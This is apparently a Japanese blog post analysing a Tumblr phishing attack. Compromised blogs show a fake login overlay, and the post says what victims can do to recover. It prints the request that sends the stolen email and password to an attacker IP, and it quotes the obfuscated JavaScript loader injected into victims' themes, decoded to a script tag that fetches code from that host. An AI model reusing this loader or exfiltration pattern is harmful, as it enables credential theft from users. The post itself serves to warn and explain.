最近tumblrでパスワードを盗まれてスパムをpostしてしまってる場面を見かけるけど、
引っかかった人のブログページはこんな画面がオーバーレイするようになるみたい

このフォームに入力すると

http:// 60.190.218.105/z/log.php?email=hogehoge@hoge.com&password=fugafuga&callback=(jqueryで作られるcallback関数名)

がリクエストされて
パスワードを盗まれたらテーマに

var vt = String['f'+'rom'+'C'+'h'+'ar'+'C'+'od'+'e']; var ka2y7onqx = window['d'+'oc'+'ume'+'n'+''+'t']; ka2y7onqx['w'+'ri'+'t'+'e'](vt(60,115) + vt(99) + vt(114) + vt(105,112) + vt(116) + vt(32,116,121) + vt(112) + vt(101,61,34) + vt(116,101) + vt(120,116,47) + vt(106) + vt(97) + vt(118,97,115) + vt(99,114) + vt(105) + vt(112) + vt(116) + vt(34) + vt(32) + vt(115,114) + vt(99) + vt(61,34,104) + vt(116,116) + vt(112) + vt(58,47,47) + vt(54) + vt(48) + vt(46) + vt(49,57) + vt(48,46) + vt(50) + vt(49) + vt(56,46) + vt(49) + vt(48) + vt(53,47,122) + vt(47) + vt(106,113,117) + vt(101) + vt(114) + vt(121) + vt(49,46) + vt(52,46) + vt(50,46) + vt(106,115,34) + vt(62,60) + vt(47) + vt(115) + vt(99) + vt(114) + vt(105) + vt(112) + vt(116,62));

 = document.write(<script type=”text/javascript” src=”http:// 60.190.218.105/z/jquery1.4.2.js”></script>)

が加えられるのでこんな画面が表示されるっぽい

http:// 60.190.218.105/z/jquery1.4.2.js の中身: http://pastebin.com/SxXwx0TD

引っかかってしまったらパスワードを変えてテーマをリセットが良さそう